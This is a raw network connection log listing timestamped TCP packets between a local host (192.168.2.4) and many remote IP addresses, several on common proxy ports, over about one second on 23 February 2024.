Feb 23, 2024 09:45:17.917049885 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917068005 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.917072058 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917087078 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917131901 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.917148113 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917160034 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917205095 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.917205095 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.919532061 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.919544935 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.925370932 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.926732063 CET	4153	50194	184.82.142.201	192.168.2.4
Feb 23, 2024 09:45:17.928107977 CET	49919	42325	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:17.928107977 CET	49746	1080	192.168.2.4	212.69.12.121
Feb 23, 2024 09:45:17.928108931 CET	49802	83	192.168.2.4	103.155.54.38
Feb 23, 2024 09:45:17.929178953 CET	26077	49918	72.10.160.92	192.168.2.4
Feb 23, 2024 09:45:17.929192066 CET	6095	49907	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.929203033 CET	1080	50538	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:17.932332039 CET	48024	50020	181.113.34.86	192.168.2.4
Feb 23, 2024 09:45:17.937459946 CET	32650	49789	154.79.254.236	192.168.2.4
Feb 23, 2024 09:45:17.943643093 CET	49754	3128	192.168.2.4	154.202.123.46
Feb 23, 2024 09:45:17.944751024 CET	16489	50279	162.210.192.135	192.168.2.4
Feb 23, 2024 09:45:17.944830894 CET	23475	50215	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.945076942 CET	2941	49952	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.945089102 CET	25085	50237	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.945261002 CET	6227	50225	72.10.160.171	192.168.2.4
Feb 23, 2024 09:45:17.945334911 CET	10801	50276	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.945430040 CET	6331	49878	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.945671082 CET	10011	49834	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.946088076 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946103096 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946115017 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946130037 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946217060 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946228981 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946229935 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946278095 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946291924 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946336985 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946368933 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946405888 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946405888 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946619034 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946633101 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946654081 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946683884 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946713924 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946736097 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946759939 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946769953 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946772099 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946794987 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946827888 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946840048 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946851015 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946854115 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946863890 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946918011 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946918011 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.946940899 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946964025 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.946994066 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.947120905 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.947144032 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.949372053 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.955081940 CET	80	49856	50.174.145.10	192.168.2.4
Feb 23, 2024 09:45:17.955446959 CET	32284	50510	185.129.250.183	192.168.2.4
Feb 23, 2024 09:45:17.955532074 CET	80	50256	50.174.145.13	192.168.2.4
Feb 23, 2024 09:45:17.955751896 CET	48359	50220	103.230.126.123	192.168.2.4
Feb 23, 2024 09:45:17.955807924 CET	50510	32284	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:17.957178116 CET	8000	50454	14.103.24.20	192.168.2.4
Feb 23, 2024 09:45:17.957216978 CET	50220	48359	192.168.2.4	103.230.126.123
Feb 23, 2024 09:45:17.959278107 CET	50454	8000	192.168.2.4	14.103.24.20
Feb 23, 2024 09:45:17.959280014 CET	49758	3663	192.168.2.4	107.180.101.18
Feb 23, 2024 09:45:17.963752985 CET	4145	50165	68.71.247.130	192.168.2.4
Feb 23, 2024 09:45:17.973404884 CET	10471	50543	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:17.974901915 CET	50043	3128	192.168.2.4	185.105.230.45
Feb 23, 2024 09:45:17.974905968 CET	49763	5190	192.168.2.4	208.109.13.93
Feb 23, 2024 09:45:17.975073099 CET	50098	80	192.168.2.4	190.58.248.86
Feb 23, 2024 09:45:17.976104021 CET	5769	49944	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:17.980490923 CET	45365	49891	142.93.151.99	192.168.2.4
Feb 23, 2024 09:45:17.981528044 CET	80	50251	50.168.163.179	192.168.2.4
Feb 23, 2024 09:45:17.984128952 CET	80	49946	50.174.214.218	192.168.2.4
Feb 23, 2024 09:45:17.984734058 CET	57520	49958	41.242.90.3	192.168.2.4
Feb 23, 2024 09:45:17.989311934 CET	4145	49751	222.124.130.198	192.168.2.4
Feb 23, 2024 09:45:17.990513086 CET	50301	4145	192.168.2.4	104.200.135.46
Feb 23, 2024 09:45:17.990557909 CET	49770	3312	192.168.2.4	78.47.35.35
Feb 23, 2024 09:45:17.990622997 CET	49773	11201	192.168.2.4	92.246.139.113
Feb 23, 2024 09:45:17.997054100 CET	2011	50345	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:18.005609989 CET	80	49814	50.172.23.10	192.168.2.4
Feb 23, 2024 09:45:18.006141901 CET	49864	4145	192.168.2.4	72.37.216.68
Feb 23, 2024 09:45:18.006141901 CET	49772	8888	192.168.2.4	23.122.184.9
Feb 23, 2024 09:45:18.006141901 CET	49776	8081	192.168.2.4	88.199.164.140
Feb 23, 2024 09:45:18.006365061 CET	49777	16379	192.168.2.4	51.158.105.107
Feb 23, 2024 09:45:18.007901907 CET	5089	50087	67.43.236.18	192.168.2.4
Feb 23, 2024 09:45:18.008117914 CET	50415	50329	148.72.212.252	192.168.2.4
Feb 23, 2024 09:45:18.008857012 CET	8089	50294	111.225.152.207	192.168.2.4
Feb 23, 2024 09:45:18.009877920 CET	4145	50562	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:18.011959076 CET	31147	50491	209.121.164.50	192.168.2.4
Feb 23, 2024 09:45:18.021291971 CET	8587	49821	178.62.103.49	192.168.2.4
Feb 23, 2024 09:45:18.025935888 CET	3256	49768	125.87.82.86	192.168.2.4
Feb 23, 2024 09:45:18.027117968 CET	80	50113	50.204.219.224	192.168.2.4
Feb 23, 2024 09:45:18.027861118 CET	1981	50483	144.91.89.245	192.168.2.4
Feb 23, 2024 09:45:18.033821106 CET	8080	50112	186.192.195.211	192.168.2.4
Feb 23, 2024 09:45:18.035037994 CET	5678	50492	212.89.173.101	192.168.2.4
Feb 23, 2024 09:45:18.037388086 CET	49853	3128	192.168.2.4	46.101.102.134
Feb 23, 2024 09:45:18.037390947 CET	49780	14645	192.168.2.4	135.181.30.244
Feb 23, 2024 09:45:18.037416935 CET	49909	80	192.168.2.4	50.170.90.25
Feb 23, 2024 09:45:18.037420988 CET	50250	999	192.168.2.4	190.61.48.24
Feb 23, 2024 09:45:18.037425041 CET	49779	3128	192.168.2.4	185.132.179.72
Feb 23, 2024 09:45:18.037425041 CET	49895	8080	192.168.2.4	171.97.12.175
Feb 23, 2024 09:45:18.037425041 CET	49745	8080	192.168.2.4	103.124.198.118
Feb 23, 2024 09:45:18.037434101 CET	49738	34300	192.168.2.4	81.17.94.50
Feb 23, 2024 09:45:18.037441969 CET	49750	30026	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:18.037441969 CET	50307	45314	192.168.2.4	104.238.100.115
Feb 23, 2024 09:45:18.037441969 CET	49747	8080	192.168.2.4	49.0.34.194
Feb 23, 2024 09:45:18.037450075 CET	49755	60406	192.168.2.4	198.12.253.117
Feb 23, 2024 09:45:18.037455082 CET	50288	3128	192.168.2.4	85.214.244.174
Feb 23, 2024 09:45:18.037455082 CET	49753	80	192.168.2.4	104.35.140.42
Feb 23, 2024 09:45:18.037472010 CET	50397	2955	192.168.2.4	72.10.160.172
Feb 23, 2024 09:45:18.037472010 CET	50255	52420	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:18.037492037 CET	49736	1082	192.168.2.4	181.209.113.234
Feb 23, 2024 09:45:18.037492990 CET	49761	25928	192.168.2.4	136.243.148.97
Feb 23, 2024 09:45:18.037534952 CET	50182	3128	192.168.2.4	94.142.142.140
Feb 23, 2024 09:45:18.037535906 CET	49762	45366	192.168.2.4	132.148.129.254
Feb 23, 2024 09:45:18.037535906 CET	50544	15311	192.168.2.4	184.178.172.13
Feb 23, 2024 09:45:18.037537098 CET	50109	82	192.168.2.4	43.255.113.232
Feb 23, 2024 09:45:18.037537098 CET	49757	8080	192.168.2.4	168.227.40.66
Feb 23, 2024 09:45:18.037539005 CET	50263	55606	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:18.037548065 CET	50305	4145	192.168.2.4	199.102.106.94
Feb 23, 2024 09:45:18.037548065 CET	49766	8081	192.168.2.4	83.238.80.12
Feb 23, 2024 09:45:18.037552118 CET	49764	8085	192.168.2.4	95.23.214.53
Feb 23, 2024 09:45:18.037552118 CET	49767	4850	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:18.039396048 CET	49911	54450	192.168.2.4	171.226.88.162
Feb 23, 2024 09:45:18.039458990 CET	49769	9445	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:18.039485931 CET	50246	5678	192.168.2.4	109.205.243.10
Feb 23, 2024 09:45:18.047060013 CET	4145	50548	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:18.053025961 CET	50210	80	192.168.2.4	50.231.104.58
Feb 23, 2024 09:45:18.053026915 CET	50359	80	192.168.2.4	50.172.39.98
Feb 23, 2024 09:45:18.054162025 CET	52246	50022	45.7.177.85	192.168.2.4
Feb 23, 2024 09:45:18.068650007 CET	50552	23306	192.168.2.4	51.38.14.161
Feb 23, 2024 09:45:18.068651915 CET	50153	8080	192.168.2.4	190.57.245.250
Feb 23, 2024 09:45:18.068651915 CET	50363	80	192.168.2.4	35.185.254.159
Feb 23, 2024 09:45:18.070658922 CET	3128	50261	77.68.111.73	192.168.2.4
Feb 23, 2024 09:45:18.070703030 CET	49782	8888	192.168.2.4	43.129.249.83
Feb 23, 2024 09:45:18.070703983 CET	50426	80	192.168.2.4	68.188.59.198
Feb 23, 2024 09:45:18.072021961 CET	50261	3128	192.168.2.4	77.68.111.73
Feb 23, 2024 09:45:18.079237938 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079267979 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079278946 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079289913 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079301119 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079322100 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079341888 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079375982 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079401016 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079425097 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079437017 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079447985 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079457998 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079477072 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079480886 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079493046 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079504013 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079528093 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079539061 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079550028 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079557896 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079561949 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079574108 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079596043 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079617977 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079641104 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079663992 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079663992 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079677105 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079718113 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079736948 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079739094 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079749107 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079760075 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079772949 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079783916 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079793930 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079797029 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079806089 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079813957 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079817057 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079829931 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079842091 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079843998 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079871893 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.079937935 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079950094 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079960108 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.079982996 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080252886 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080264091 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080275059 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080276966 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080286980 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080306053 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080352068 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080368996 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080374956 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080380917 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080394983 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080405951 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080415010 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080418110 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080439091 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080477953 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080488920 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080501080 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080502987 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080516100 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080524921 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080527067 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080550909 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080562115 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080570936 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080593109 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080605030 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080617905 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080629110 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080650091 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080652952 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080676079 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080698013 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080709934 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080750942 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080764055 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080773115 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080775023 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080786943 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080799103 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080806971 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080811024 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080840111 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080851078 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080863953 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080914974 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080926895 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080938101 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080938101 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080950975 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080955982 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080962896 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080980062 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.080991030 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.080991030 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081002951 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081012964 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.081016064 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081034899 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.081120014 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081155062 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081166983 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081176043 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.081201077 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081212044 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081223011 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081224918 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.081243038 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.081319094 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081331968 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081393003 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081404924 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081414938 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.081494093 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.081516981 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.084245920 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.084256887 CET	50553	64193	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:18.084256887 CET	50059	16703	192.168.2.4	72.10.160.93
Feb 23, 2024 09:45:18.084274054 CET	50460	2191	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:18.084384918 CET	50554	9090	192.168.2.4	5.135.136.60
Feb 23, 2024 09:45:18.084386110 CET	50052	8635	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:18.088709116 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.088759899 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.088773966 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.088784933 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:18.088835001 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.088835001 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:18.100050926 CET	49870	3128	192.168.2.4	91.149.224.168
Feb 23, 2024 09:45:18.103025913 CET	3663	49758	107.180.101.18	192.168.2.4
Feb 23, 2024 09:45:18.103430986 CET	49758	3663	192.168.2.4	107.180.101.18
Feb 23, 2024 09:45:18.104727983 CET	80	50442	103.75.117.79	192.168.2.4
Feb 23, 2024 09:45:18.115509987 CET	50069	25053	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:18.115509987 CET	50071	25341	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:18.115528107 CET	50557	64608	192.168.2.4	207.180.226.58
Feb 23, 2024 09:45:18.115530014 CET	50388	999	192.168.2.4	191.97.16.160
Feb 23, 2024 09:45:18.115530968 CET	50555	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:18.115547895 CET	49793	3128	192.168.2.4	154.202.124.29
Feb 23, 2024 09:45:18.123434067 CET	80	49743	68.185.57.66	192.168.2.4
Feb 23, 2024 09:45:18.123548031 CET	3128	49986	78.38.93.22	192.168.2.4
Feb 23, 2024 09:45:18.131100893 CET	543	49964	8.213.137.155	192.168.2.4
Feb 23, 2024 09:45:18.131128073 CET	50406	80	192.168.2.4	149.202.172.113
Feb 23, 2024 09:45:18.131134987 CET	50558	8443	192.168.2.4	212.23.175.80
Feb 23, 2024 09:45:18.131149054 CET	49794	80	192.168.2.4	74.103.66.15
Feb 23, 2024 09:45:18.131161928 CET	49781	80	192.168.2.4	80.228.235.6
Feb 23, 2024 09:45:18.131167889 CET	50110	29129	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:18.132930040 CET	2955	50397	72.10.160.172	192.168.2.4
Feb 23, 2024 09:45:18.145272970 CET	5678	50076	109.127.82.114	192.168.2.4
Feb 23, 2024 09:45:18.146131992 CET	8089	50350	111.225.153.200	192.168.2.4
Feb 23, 2024 09:45:18.146755934 CET	49799	32323	192.168.2.4	103.214.112.238
Feb 23, 2024 09:45:18.146756887 CET	50560	80	192.168.2.4	213.6.170.17
Feb 23, 2024 09:45:18.146756887 CET	49803	42823	192.168.2.4	207.180.234.220
Feb 23, 2024 09:45:18.146799088 CET	50419	80	192.168.2.4	50.218.57.69
Feb 23, 2024 09:45:18.146800041 CET	50431	30783	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:18.146806955 CET	49982	1611	192.168.2.4	72.10.160.170
Feb 23, 2024 09:45:18.146815062 CET	50534	80	192.168.2.4	62.99.138.162
Feb 23, 2024 09:45:18.146816969 CET	50551	47056	192.168.2.4	162.240.10.35
Feb 23, 2024 09:45:18.146819115 CET	49994	14313	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:18.146828890 CET	49916	32650	192.168.2.4	41.217.223.145
Feb 23, 2024 09:45:18.146838903 CET	49739	58394	192.168.2.4	107.148.99.107
Feb 23, 2024 09:45:18.146838903 CET	49894	31979	192.168.2.4	51.77.73.67
Feb 23, 2024 09:45:18.146841049 CET	49784	7878	192.168.2.4	202.6.233.59
Feb 23, 2024 09:45:18.146841049 CET	49792	62691	192.168.2.4	162.215.223.76
Feb 23, 2024 09:45:18.146856070 CET	50556	3128	192.168.2.4	154.202.116.220
Feb 23, 2024 09:45:18.146862030 CET	49797	80	192.168.2.4	43.153.66.118
Feb 23, 2024 09:45:18.146862030 CET	49800	9812	192.168.2.4	200.116.198.222
Feb 23, 2024 09:45:18.146904945 CET	49795	999	192.168.2.4	177.87.250.66
Feb 23, 2024 09:45:18.147018909 CET	50362	3128	192.168.2.4	144.21.53.111
Feb 23, 2024 09:45:18.148164988 CET	80	49909	50.170.90.25	192.168.2.4
Feb 23, 2024 09:45:18.150197029 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150279999 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150295019 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150331020 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.150331020 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150346041 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150374889 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.150404930 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150449991 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:18.150470972 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150485039 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:18.150527000 CET	50160	3128	192.168.2.4	185.165.46.208
